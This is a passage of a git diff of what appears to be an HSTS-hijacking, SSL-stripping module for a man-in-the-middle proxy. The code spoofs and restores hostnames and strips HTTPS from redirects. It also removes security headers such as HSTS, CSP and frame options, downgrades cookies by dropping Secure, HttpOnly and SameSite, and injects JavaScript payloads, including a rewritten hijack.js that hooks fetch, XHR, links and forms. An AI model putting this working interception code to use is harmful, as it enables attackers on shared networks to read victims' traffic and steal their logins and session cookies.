(rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) { + whitelist[req.Client.MAC].push(req.Hostname.replace( + rx_sets_whole_replacement_hosts[a][0], + rx_sets_whole_replacement_hosts[a][1])); + break; + } + } + saveWhitelist(); + } else { + /** + * Not a callback. + * + * Redirect client to the real host if a whitelist callback was received previously. + * Restore spoofed hostnames and schemes in request. + */ + req.ReadBody(); + + if (whitelist[req.Client.MAC]) { + for (a = 0; a < whitelist[req.Client.MAC].length; a++) { + whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.MAC][a], ""); + whole_regexp_set[0].lastIndex = 0; + if (whole_regexp_set[0].test(req.Hostname)) { + /* Restore requested hostname if it was spoofed. */ + var unspoofed_host; + for (b = 0; b < target_hosts.length; b++) { + rx_sets_whole_replacement_hosts[b][0].lastIndex = 0; + if (rx_sets_whole_replacement_hosts[b][0].test(req.Hostname)) { + unspoofed_host = req.Hostname.replace( + rx_sets_whole_replacement_hosts[b][0], + rx_sets_whole_replacement_hosts[b][1]); + query = (req.Query !== "" ? ("?" + req.Query) : ""); + res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query); + res.Status = 301; + log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.MAC + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback."); + return; + } + } + } + } + } + + /* Restore original hostnames. */ + for (a = 0; a < target_hosts.length; a++) { + /* Restore original hostnames in headers. */ + rx_sets_global_replacement_hosts[a][0].lastIndex = 0; + if (rx_sets_global_replacement_hosts[a][0].test(req.Headers)) { + req.Headers = req.Headers.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]); + log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s)."); + } + } + + /* Restore original hostnames in query URI. */ + if (req.Query !== "") { + for (a = 0; a < target_hosts.length; a++) { + rx_sets_global_replacement_hosts[a][0].lastIndex = 0; + if (rx_sets_global_replacement_hosts[a][0].test(req.Query)) { + req.Query = req.Query.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]); + log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI."); + } + + /* Restore original hostnames in encoded query URI parameters. */ + query_params = req.Query.split("&"); + new_params = []; + for (b = 0; b < query_params.length; b++) { + param = query_params[b]; + param_parts = param.match(rx_query_param); + if (param_parts) { + param_name = param_parts[1]; + param_value = param_parts[2]; + if (param_value.indexOf("%") !== -1) { + param_value_decoded = decodeURIComponent(param_value); + if (param_value !== param_value_decoded) { + rx_sets_global_replacement_hosts[a][0].lastIndex = 0; + if (rx_sets_global_replacement_hosts[a][0].test(param_value_decoded)) { + param_value_decoded_unspoofed = param_value_decoded.replace( + rx_sets_global_replacement_hosts[a][0], + rx_sets_global_replacement_hosts[a][1]); + new_params.push( + param_name + "=" + encodeURIComponent(param_value_decoded_unspoofed)); + } else { + new_params.push(param); + } + } else { + new_params.push(param); + } + } else { + rx_sets_global_replacement_hosts[a][0].lastIndex = 0; + if (rx_sets_global_replacement_hosts[a][0].test(param_value)) { + param_value_unspoofed = param_value.replace( + rx_sets_global_replacement_hosts[a][0], + rx_sets_global_replacement_hosts[a][1]); + new_params.push(param_name + "=" + param_value_unspoofed); + } else { + new_params.push(param); + } + } + } else { + new_params.push(param); + } + } + new_query_string = new_params.join("&"); + if (new_query_string !== req.Query) { + req.Query = new_query_string; + } + } + } + + for (a = 0; a < target_hosts.length; a++) { + /* Restore original hostname of request. */ + rx_sets_whole_replacement_hosts[a][0].lastIndex = 0; + if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) { + spoofed_host = req.Hostname; + req.Hostname = req.Hostname.replace(rx_sets_whole_replacement_hosts[a][0], rx_sets_whole_replacement_hosts[a][1]); + req.Scheme = "https"; + log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme."); + break; + } + } + + /* Restore HTTPS scheme. */ + if (getDomainIndex(req.Hostname) !== -1) { + /* Restore HTTPS scheme of request if domain is indexed. */ + if (req.Scheme !== "https") { + req.Scheme = "https"; + log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + "."); + } + /* Restore HTTPS scheme in request headers if requested domain is indexed. */ +// fix this by searching for all URLs and then finding if they need SSL + escaped_domain = req.Hostname.replace(rx_all_dots, "[.]").replace(rx_all_dashes, "[-]"); + regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig"); + regexp.lastIndex = 0; + if (regexp.test(req.Headers)) { + req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1"); + log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); + } + /* Restore HTTPS scheme in request headers if domains are targeted. */ + for (a = 0; a < target_hosts.length; a++) { + matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || []; + for (b = 0; b < matches.length; b++) { + escaped_domain = matches[b].replace(rx_all_dots, "\\."); + regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig"); + req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1"); + log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); + } + } + } else { /* If requested domain is not indexed. */ + + // TODO + // we can perform an SSL check synchronously with a set timeout, and/or we can + // perform an SSL check asynchronously for future hijacking attempts + + log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed."); + /* Restore HTTPS scheme of request if domain is targeted. */ + for (a = 0; a < target_hosts.length; a++) { + rx_sets_whole_target_hosts[a][0].lastIndex = 0; + if (rx_sets_whole_target_hosts[a][0].test(req.Hostname)) { + req.Scheme = "https"; + log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + "."); + break; + } + } + /* Restore HTTPS scheme in request headers if domains are targeted. */ + for (a = 0; a < target_hosts.length; a++) { + matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || []; + for (b = 0; b < matches.length; b++) { + escaped_domain = matches[b].replace(rx_all_dots, "\\."); + regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig"); + req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1"); + log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers."); + } + } + } + + /* Execute regex header replacements. */ + Object.keys(replacements_req_headers).forEach(function(selector_string, a) { + rx_target_hosts_replacements_req_headers[a].lastIndex = 0; + if (rx_target_hosts_replacements_req_headers[a].test(req.Hostname)) { + replacements_req_headers[selector_string].forEach(function(rx_set) { + req.Headers = req.Headers.replace(rx_set[0], rx_set[1]); + }); + } + }); + + /* Execute regex body replacements. */ + Object.keys(replacements_req_body).forEach(function(selector_string, a) { + rx_target_hosts_replacements_req_body[a].lastIndex = 0; + if (rx_target_hosts_replacements_req_body[a].test(req.Hostname)) { + replacements_req_body[selector_string].forEach(function(rx_set) { + req.Body = req.Body.replace(rx_set[0], rx_set[1]); + }); + } + }); + + /* Execute regex URL replacements. */ + Object.keys(replacements_req_url_path).forEach(function(selector_string, a) { + rx_target_hosts_replacements_req_url_path[a].lastIndex = 0; + if (rx_target_hosts_replacements_req_url_path[a].test(req.Hostname)) { + replacements_req_url_path[selector_string].forEach(function(rx_set) { + req.Path = req.Path.replace(rx_set[0], rx_set[1]); + }); + } + }); + Object.keys(replacements_req_url_port).forEach(function(selector_string, a) { + rx_target_hosts_replacements_req_url_port[a].lastIndex = 0; + if (rx_target_hosts_replacements_req_url_port[a].test(req.Hostname)) { + replacements_req_url_port[selector_string].forEach(function(rx_set) { + req.Port = req.Port.replace(rx_set[0], rx_set[1]); + }); + } + }); + Object.keys(replacements_req_url_query).forEach(function(selector_string, a) { + rx_target_hosts_replacements_req_url_query[a].lastIndex = 0; + if (rx_target_hosts_replacements_req_url_query[a].test(req.Hostname)) { + replacements_req_url_query[selector_string].forEach(function(rx_set) { + req.Query = req.Query.replace(rx_set[0], rx_set[1]); + }); + } + }); + + /* Restore cookies. */ + req.Headers = req.Headers + .replace(rx_global_cookie_host_prefix, "__Host-") + .replace(rx_global_cookie_secure_prefix, "__Secure-"); + } +} + +function onResponse(req, res) { + res.ReadBody(); + + /* Remember HTTPS redirects. */ + var location = res.GetHeader("Location", ""); + if (rx_uri_one.test(location)) { + indexDomain(location.replace(rx_uri_two, "$1")); + } + + /* Ignore this response if whitelisted. */ + if (whitelist[req.Client.MAC]) { + if (whitelist[req.Client.MAC].indexOf(req.Hostname) !== -1) { + log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset + "."); + return; + } + } else { + for (a = 0; a < ignore_hosts.length; a++) { + var whole_regexp_set; + if (ignore_hosts[a] !== "*") { + whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], ""); + } + + whole_regexp_set[0].lastIndex = 0; + if ( + ignore_hosts[a] === "*" + || whole_regexp_set[0].test(req.Hostname) + ) { + log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + "."); + return; + } + } + + /* Spoof markup bodies. */ + if ( + rx_content_type_html.test(res.ContentType) + || rx_extension_html.test(req.Path) + ) { + /* Execute regex replacements. */ + Object.keys(replacements_res_body.html).forEach(function(selector_string, a) { + var rx_sets = replacements_res_body.html[selector_string]; + if (selector_string === "*") { + rx_sets.forEach(function(rx_set) { + res.Body = res.Body.replace(rx_set[0], rx_set[1]); + }); + } else { + var rx_hostname = rx_target_hosts_replacements_res_body_html[a]; + rx_hostname.lastIndex = 0; + if (rx_hostname.test(req.Hostname)) { + rx_sets.forEach(function(rx_set) { + res.Body = res.Body.replace(rx_set[0], rx_set[1]); + }); + } + } + }); + + /* Block scripts. */ + for (a = 0; a < block_script_hosts.length; a++) { + if ( + block_script_hosts[a] === "*" + || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname) + ) { + res.Body = res.Body.replace(rx_html_script_open_tag, "
\n"; + res.Body = res.Body.slice(0, match.index) + + injection + + res.Body.slice(match.index + match[0].length, res.Body.length); + } else { + res.Body = + "\n" + + res.Body; + } + } + log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset); + } + } + + /* Spoof JavaScript bodies. */ + if ( + rx_content_type_js.test(res.ContentType) + || rx_extension_js.test(req.Path) + ) { + /* Block scripts. */ + for (a = 0; a < block_script_hosts.length; a++) { + if ( + block_script_hosts[a] === "*" + || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname) + ) { + res.Body = ""; + log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + "."); + break; + } + } + + /* Execute regex replacements. */ + Object.keys(replacements_res_body.javascript).forEach(function(selector_string) { + var rx_sets = replacements_res_body.javascript[selector_string]; + if (selector_string === "*") { + rx_sets.forEach(function(rx_set) { + res.Body = res.Body.replace(rx_set[0], rx_set[1]); + }); + } else { + var rx_hostname = rx_target_hosts_replacements_res_body_javascript[a]; + rx_hostname.lastIndex = 0; + if (rx_hostname.test(req.Hostname)) { + rx_sets.forEach(function(rx_set) { + res.Body = res.Body.replace(rx_set[0], rx_set[1]); + }); + } + } + }); + + /* Inject payloads. */ + injection = ""; + for (a = 0; a < Object.keys(payloads).length; a++) { + injecting_host = Object.keys(payloads)[a]; + if ( + injecting_host === "*" + || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname) + ) { + injection = injection + payloads[injecting_host]; + } + } + if (injection !== "") { + res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body; + log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset); + } + } + + /* Spoof JSON bodies. */ + if ( + rx_content_type_json.test(res.ContentType) + || rx_extension_json.test(req.Path) + ) { + /* Execute regex replacements. */ + Object.keys(replacements_res_body.json).forEach(function(selector_string) { + var rx_sets = replacements_res_body.json[selector_string]; + if (selector_string === "*") { + rx_sets.forEach(function(rx_set) { + res.Body = res.Body.replace(rx_set[0], rx_set[1]); + }); + } else { + var rx_hostname = rx_target_hosts_replacements_res_body_json[a]; + rx_hostname.lastIndex = 0; + if (rx_hostname.test(req.Hostname)) { + rx_sets.forEach(function(rx_set) { + res.Body = res.Body.replace(rx_set[0], rx_set[1]); + }); + } + } + }); + } + + /* Strip SSL from location headers. */ + res.Headers = res.Headers + .replace(rx_scheme_http_https_colon, "$1:") + .replace(rx_port_https, "$1"); + + /* Spoof hosts in headers. */ + for (a = 0; a < target_hosts.length; a++) { + res.Headers = res.Headers.replace( + rx_sets_global_target_hosts[a][0], + rx_sets_global_target_hosts[a][1]); + } + + /* Spoof cookies. */ + var cookie_strings = res.GetHeaders("set-cookie"); + cookie_strings.forEach(function(cookie_string) { + var cookie = parseCookie(cookie_string); + if (downgrade_cookies) { + cookie.sameSite = ""; + cookie.secure = false; + cookie.partitioned = false; + cookie.httpOnly = false; + cookie.name = cookie.name + .replace(rx_cookie_host_prefix, cookie_host_prefix) + .replace(rx_cookie_secure_prefix, cookie_secure_prefix); + } + if (typeof cookie.domain === "string" && cookie.domain !== "") { + var selector_string = cookie.domain[0] === "." + ? "*" + cookie.domain : cookie.domain; + if (selector_string[0] === "*") { + for (a = 0; a < target_hosts.length; a++) { + if (selector_string === target_hosts[a]) { + cookie.domain = replacement_hosts[a].slice(1); + break; + } else { + rx_sets_whole_target_hosts[a][0].lastIndex = 0; + if (rx_sets_whole_target_hosts[a][0].test("a" + cookie.domain)) { + cookie.domain = ("a" + cookie.domain).replace( + rx_sets_whole_target_hosts[a][0], + rx_sets_whole_target_hosts[a][1]); + cookie.domain = cookie.domain.slice(1); + break; + } + } + } + } else { + for (a = 0; a < target_hosts.length; a++) { + rx_sets_whole_target_hosts[a][0].lastIndex = 0; + if (rx_sets_whole_target_hosts[a][0].test(selector_string)) { + cookie.domain = cookie.domain.replace( + rx_sets_whole_target_hosts[a][0], + rx_sets_whole_target_hosts[a][1]); + break; + } + } + } + } + res.Headers = res.Headers.replace( + cookie_string, + cookieToResponseHeaderValue(cookie)); + }); + + /* Remove security headers. */ + res.Headers = res.Headers + .replace(rx_header_csp, "") + .replace(rx_header_cspro, "") + .replace(rx_header_corp, ""); + res.RemoveHeader("Strict-Transport-Security"); + res.RemoveHeader("Public-Key-Pins"); + res.RemoveHeader("Public-Key-Pins-Report-Only"); + res.RemoveHeader("X-Frame-Options"); + res.RemoveHeader("X-Content-Type-Options"); + res.RemoveHeader("X-Download-Options"); + res.RemoveHeader("X-Permitted-Cross-Domain-Policies"); + res.RemoveHeader("X-XSS-Protection"); + res.RemoveHeader("Expect-Ct"); + + /* Set insecure headers. */ + allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*"); + if (allowed_origin !== "*") { + for (a = 0; a < target_hosts.length; a++) { + rx_sets_global_target_hosts[a][0].lastIndex = 0; + if (rx_sets_global_target_hosts[a][0].test(allowed_origin)) { + allowed_origin = allowed_origin.replace( + rx_sets_global_target_hosts[a][0], + rx_sets_global_target_hosts[a][1]); + break; + } + } + } else { + var request_origin = req.GetHeader("origin", ""); + if (request_origin !== "") { + for (a = 0; a < target_hosts.length; a++) { + rx_sets_global_target_hosts[a][0].lastIndex = 0; + if (rx_sets_global_target_hosts[a][0].test(request_origin)) { + allowed_origin = request_origin + .replace(rx_scheme_http_https_colon, "$1:") + .replace( + rx_sets_global_target_hosts[a][0], + rx_sets_global_target_hosts[a][1]); + break; + } + } + } + } + res.SetHeader("Access-Control-Allow-Credentials", "true"); + res.SetHeader("Access-Control-Allow-Origin", allowed_origin); + res.SetHeader("Access-Control-Allow-Methods", "*"); + res.SetHeader("Access-Control-Allow-Headers", "*"); + res.SetHeader("Cross-Origin-Embedder-Policy", "unsafe-none"); + res.SetHeader("Cross-Origin-Opener-Policy", "unsafe-none"); + /* Spoof preflight headers. */ + if (req.Method === "OPTIONS") { + var requested_headers = req.GetHeader("Access-Control-Request-Headers", ""); + if (requested_headers !== "") + res.SetHeader("Access-Control-Allow-Headers", requested_headers); + } + res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate"); + res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT"); + res.SetHeader("Pragma", "no-cache"); + } +} + diff --git a/hstshijack/payloads/google-search.js b/hstshijack/payloads/google-search.js index 8465fd6..7b8aa1c 100644 --- a/hstshijack/payloads/google-search.js +++ b/hstshijack/payloads/google-search.js @@ -1,23 +1,23 @@ globalThis.addEventListener("DOMContentLoaded", function(){ - "use strict"; + "use strict"; - if (location.pathname === "/search") { - document.querySelectorAll("a").forEach(function(obf_hstshijack_var_link){ - if (obf_hstshijack_var_link.href && obf_hstshijack_var_link.href !== "") { - var obf_hstshijack_var_container = document.createElement("obf_hstshijack_dummy"); - obf_hstshijack_var_container.append(obf_hstshijack_var_link.cloneNode(true)) - obf_hstshijack_var_container.addEventListener("click", function(e){ - e.preventDefault(); - location.href = obf_hstshijack_var_link.href; - }); - obf_hstshijack_var_link.before(obf_hstshijack_var_container); - obf_hstshijack_var_link.remove(); - } - }); - } + if (location.pathname === "/search") { + document.querySelectorAll("a").forEach(function(obf_hstshijack_var_link){ + if (obf_hstshijack_var_link.href && obf_hstshijack_var_link.href !== "") { + var obf_hstshijack_var_container = document.createElement("obf_hstshijack_dummy"); + obf_hstshijack_var_container.append(obf_hstshijack_var_link.cloneNode(true)) + obf_hstshijack_var_container.addEventListener("click", function(e){ + e.preventDefault(); + location.href = obf_hstshijack_var_link.href; + }); + obf_hstshijack_var_link.before(obf_hstshijack_var_container); + obf_hstshijack_var_link.remove(); + } + }); + } - var obf_hstshijack_var_stylesheet = document.createElement("style"); - obf_hstshijack_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`; - document.body.append(obf_hstshijack_var_stylesheet); + var obf_hstshijack_var_stylesheet = document.createElement("style"); + obf_hstshijack_var_stylesheet.innerText = `.gb_Pa{box-shadow:none}`; + document.body.append(obf_hstshijack_var_stylesheet); }); diff --git a/hstshijack/payloads/hijack.js b/hstshijack/payloads/hijack.js index 4239c76..7318b69 100644 --- a/hstshijack/payloads/hijack.js +++ b/hstshijack/payloads/hijack.js @@ -1,276 +1,421 @@ -/* - Hooks XMLHttpRequest.open and fetch, as well as 'a', 'form', 'script' and 'iframe' nodes. - This payload is essential for hostname replacements. +(async () => { + const obf_hstshijack_rx_one = /\-/g, + obf_hstshijack_rx_two = /^\*./, + obf_hstshijack_rx_three = /^\*\./, + obf_hstshijack_rx_four = /\./g, + obf_hstshijack_rx_five = /^\*\./, + obf_hstshijack_rx_six = /\.\*$/, + obf_hstshijack_rx_seven = /\.\*/g, + obf_hstshijack_rx_eight = /^((?:[a-z0-9.+-]{1,256}[:])(?:[/][/])?|(?:[a-z0-9.+-]{1,256}[:])?[/][/])?.*$/i, + obf_hstshijack_rx_nine = /^((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.){1,63}(?:[a-z]{1,63})|(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9]))?.*$/i, + obf_hstshijack_rx_ten = /^([:](?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[0-5][0-9][0-9][0-9][0-9]|[1-9][0-9]{0,3}))?.*$/i, + obf_hstshijack_rx_eleven = /^([^?#]{1,2048})?.*$/i, + obf_hstshijack_rx_twelve = /^([?][^#]{0,2048})?.*$/i, + obf_hstshijack_rx_thirteen = /^\s*(.*)\s*$/g, + obf_hstshijack_rx_fourteen = /^\s*(?:http[s]?:)?\/\/[^:/?#]+/i, + obf_hstshijack_rx_fifteen = /(http)s:\/\//i, + obf_hstshijack_rx_sixteen = /^:443$/, + obf_hstshijack_rx_seventeen = /^(?:about|data|file|geo|javascript|tel):$/i, + obf_hstshijack_rx_eighteen = /=['"]?(?:http[s]?:)?\/\/[a-z0-9-.]+/ig, + obf_hstshijack_rx_nineteen = /^.*\/\//, + obf_hstshijack_rx_cookie_host_prefix = /^__Host-/ig, + obf_hstshijack_rx_cookie_secure_prefix = /^__Secure-/ig, + obf_hstshijack_rx_cookie_downgrade = /;\s*(?:httponly|partitioned|samesite|secure)(?:=[^;]+)?/ig, + obf_hstshijack_rx_cookie_domain = /;\s*domain=([^;\s]+)/i; - Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and - 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module - loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts' - are already declared before this is injected. -*/ + const obf_hstshijack_xhrOpen = XMLHttpRequest.prototype.open, + obf_hstshijack_XMLHttpRequest = new XMLHttpRequest(), + obf_hstshijack_fetch = globalThis.fetch, + obf_hstshijack_callback_log = [], + obf_hstshijack_innerHtmlSetter = Object.getOwnPropertyDescriptor(Element.prototype, "innerHTML").set, + obf_hstshijack_outerHtmlSetter = Object.getOwnPropertyDescriptor(Element.prototype, "outerHTML").set, + obf_hstshijack_scriptSrcSetter = Object.getOwnPropertyDescriptor(HTMLScriptElement.prototype, "src").set, + obf_hstshijack_linkHrefSetter = Object.getOwnPropertyDescriptor(HTMLLinkElement.prototype, "href").set; -(function(){ - "use strict"; + const obf_hstshijack_sleep = obf_hstshijack_ms => new Promise(obf_hstshijack_res => setTimeout(obf_hstshijack_res, obf_hstshijack_ms)); - var obf_hstshijack_var_regex_one = /\-/g, - obf_hstshijack_var_regex_two = /^\*./, - obf_hstshijack_var_regex_three = /^\*\./, - obf_hstshijack_var_regex_four = /\./g, - obf_hstshijack_var_regex_five = /^\*\./, - obf_hstshijack_var_regex_six = /\.\*$/, - obf_hstshijack_var_regex_seven = /\.\*/g, - obf_hstshijack_var_regex_eight = /^((?:[a-z0-9.+-]{1,256}[:])(?:[/][/])?|(?:[a-z0-9.+-]{1,256}[:])?[/][/])?.*$/i, - obf_hstshijack_var_regex_nine = /^((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.){1,63}(?:[a-z]{1,63})|(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9])\.(?:25[0-5]|2[0-4][0-9]|[1][0-9][0-9]|[1-9]?[0-9]))?.*$/i, - obf_hstshijack_var_regex_ten = /^([:](?:6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[0-5][0-9][0-9][0-9][0-9]|[1-9][0-9]{0,3}))?.*$/i, - obf_hstshijack_var_regex_eleven = /^([^?#]{1,2048})?.*$/i, - obf_hstshijack_var_regex_twelve = /^([?][^#]{0,2048})?.*$/i, - obf_hstshijack_var_regex_thirteen = /^\s*(.*)\s*$/g; + const obf_hstshijack_mutation_observer = new MutationObserver(function(obf_hstshijack_mutations) { + obf_hstshijack_mutations.forEach(function(obf_hstshijack_mutation) { + if (obf_hstshijack_mutation.type === "childList") { + obf_hstshijack_mutation.addedNodes.forEach(function(obf_hstshijack_node) { + switch (obf_hstshijack_node.tagName) { + case "A" || "LINK": + if (obf_hstshijack_node.href) { + var obf_hstshijack_url = obf_hstshijack_node.href; + if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) { + var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) { + obf_hstshijack_node.href = obf_hstshijack_hijacked_url; + } + } + } + break; + case "FORM": + if (obf_hstshijack_node.action) { + var obf_hstshijack_url = obf_hstshijack_node.action; + if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) { + var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) { + obf_hstshijack_node.action = obf_hstshijack_hijacked_url; + } + } + } + break; + case "SCRIPT" || "FRAME": + if (obf_hstshijack_node.src) { + var obf_hstshijack_url = obf_hstshijack_node.src; + if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) { + var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) { + obf_hstshijack_node.src = obf_hstshijack_hijacked_url; + } + } + } + break; + } + }); + } else if (obf_hstshijack_mutation.type === "attributes") { + switch (obf_hstshijack_mutation.target.tagName) { + case "A" || "LINK": + if (obf_hstshijack_mutation.attributeName === "href") { + var obf_hstshijack_url = obf_hstshijack_mutation.target.href; + if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) { + var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) { + obf_hstshijack_mutation.target.href = obf_hstshijack_hijacked_url; + } + } + } + break; + case "FORM": + if (obf_hstshijack_mutation.attributeName === "action") { + var obf_hstshijack_url = obf_hstshijack_mutation.target.action; + if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) { + var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) { + obf_hstshijack_mutation.target.action = obf_hstshijack_hijacked_url; + } + } + } + break; + case "SCRIPT" || "IFRAME": + if (obf_hstshijack_mutation.attributeName === "src") { + var obf_hstshijack_url = obf_hstshijack_mutation.target.src; + if (obf_hstshijack_rx_fourteen.test(obf_hstshijack_url)) { + var obf_hstshijack_hijacked_url = obf_hstshijack_hijackUrl(obf_hstshijack_url); + if (obf_hstshijack_hijacked_url !== obf_hstshijack_url) { + obf_hstshijack_mutation.target.src = obf_hstshijack_hijacked_url; + } + } + } + break; + } + } + }); + }); - var obf_hstshijack_func_open = XMLHttpRequest.prototype.open, - obf_hstshijack_var_XMLHttpRequest = new XMLHttpRequest(), - obf_hstshijack_func_fetch = globalThis.fetch, - obf_hstshijack_var_callback_log = []; + const obf_hstshijack_trimLeadingAndTrailingWhitespaces = obf_hstshijack_str => { + return obf_hstshijack_str.replace(obf_hstshijack_rx_thirteen, "$1"); + }; - function obf_hstshijack_func_trimLeadingAndTrailingWhitespaces(obf_hstshijack_var_str) { - return obf_hstshijack_var_str.replace(obf_hstshijack_var_regex_thirteen, "$1"); - } + const obf_hstshijack_toWholeRegexpSet = (obf_hstshijack_selector_string, obf_hstshijack_replacement_string) => { + if (obf_hstshijack_selector_string.indexOf("*") != -1) { + obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace( + obf_hstshijack_rx_one, "\\-"); + if (obf_hstshijack_rx_two.test(obf_hstshijack_selector_string)) { + obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace( + obf_hstshijack_rx_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"); + obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace( + obf_hstshijack_rx_four, "\\."); + obf_hstshijack_replacement_string = obf_hstshijack_replacement_string.replace( + obf_hstshijack_rx_five, ""); + return [ + new RegExp("^" + obf_hstshijack_selector_string + "$", "ig"), + "$1" + obf_hstshijack_replacement_string + ]; + } else if (obf_hstshijack_rx_six.test(obf_hstshijack_selector_string)) { + obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace( + obf_hstshijack_rx_seven, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)"); + obf_hstshijack_selector_string = obf_hstshijack_selector_string.replace( + obf_hstshijack_rx_four, "\\."); + obf_hstshijack_replacement_string = obf_hstshijack_replacement_string.replace( + obf_hstshijack_rx_six, ""); + return [ + new RegExp(obf_hstshijack_selector_string, "ig"), + obf_hstshijack_replacement_string + "$1" + ]; + } + } else { + obf_hstshijack_selector_string = obf_hstshijack_selector_string + .replace(obf_hstshijack_rx_four, "\\.") + .replace(/\-/g, "\\-"); + return [ + new RegExp("^" + obf_hstshijack_selector_string + "$", "ig"), + obf_hstshijack_replacement_string + ]; + } + }; - function obf_hstshijack_func_toWholeRegexpSet(obf_hstshijack_var_selector_string, obf_hstshijack_var_replacement_string) { - if (obf_hstshijack_var_selector_string.indexOf("*") != -1) { - obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_one, "\\-"); - if (obf_hstshijack_var_selector_string.match(obf_hstshijack_var_regex_two)) { - var obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_three, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)"), - obf_hstshijack_var_selector_string = obf_hstshijack_var_selector_string.replace(obf_hstshijack_var_regex_four, "\\."), - obf_hstshijack_var_replacement_string = obf_hstshijack_var_replacement_string.replace(obf_hstshijack_var_regex_five, ""); - return [ - new RegExp("^" + obf_hstshijack_var_selector_string + "$", "ig"), - "$1" + obf_hstshijack_var_replacement_string - ]; - } else if 